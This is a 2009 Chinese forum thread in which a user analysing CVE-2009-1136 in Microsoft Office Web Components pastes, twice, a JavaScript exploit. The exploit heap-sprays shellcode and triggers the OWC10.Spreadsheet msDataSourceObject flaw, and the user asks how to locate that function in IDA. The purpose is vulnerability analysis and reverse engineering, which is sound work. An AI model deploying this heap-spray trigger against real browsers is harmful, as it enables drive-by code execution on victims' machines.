-
-
[求助]Microsoft Office Web Components. CVE-2009-1136
-
发表于: 2009-7-15 22:58
-
最近在分析CVE-2009-1136这个漏洞，看资料是OWC10.DLL这个组件的问题
<script src="a.js"></script>
<script language="JavaScript">
var c=s+u; // s+u=完整的shellcode
var array = new Array();
var ls = 0x81000-(c.length*2);
var b = pingfan("%u0b0c%u0b0C");
while(b.length<ls/2){b+=b;}
var lh = b.substring(0,ls/2); //一堆堆的%u0b0c%u0b0c%u0b0c..
delete b;
for(i=0;i<0x99*2;i++) {array[i] = lh + lh + c;} //生成shellcode
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet"); //创建activex对象
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++)
{
for(j=0;j<10;j++)
{
try{obj.Evaluate(e[i]);}
catch(e){}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++)
{try
{obj.msDataSourceObject(e[3]);}
catch(e) {}
} //应该在这儿了
</script>
请问在使用IDA怎么才能在OWC10.DLL找到上面的漏洞代码中的msDataSourceObject函数呢？？ 多谢啦
<script src="a.js"></script>
<script language="JavaScript">
var c=s+u; // s+u=完整的shellcode
var array = new Array();
var ls = 0x81000-(c.length*2);
var b = pingfan("%u0b0c%u0b0C");
while(b.length<ls/2){b+=b;}
var lh = b.substring(0,ls/2); //一堆堆的%u0b0c%u0b0c%u0b0c..
delete b;
for(i=0;i<0x99*2;i++) {array[i] = lh + lh + c;} //生成shellcode
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet"); //创建activex对象
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++)
{
for(j=0;j<10;j++)
{
try{obj.Evaluate(e[i]);}
catch(e){}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++)
{try
{obj.msDataSourceObject(e[3]);}
catch(e) {}
} //应该在这儿了
</script>
请问在使用IDA怎么才能在OWC10.DLL找到上面的漏洞代码中的msDataSourceObject函数呢？？ 多谢啦
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
MJ都开口了。哈哈，能否再指明一点，比如在哪个位置。
小弟不才，不才
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 MS程序员最近总犯常人最容易犯的错误啊COM啊COM
|
|
|
|
|
|
|
|
|
|
|
|
 能不能说得再详细点啊
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
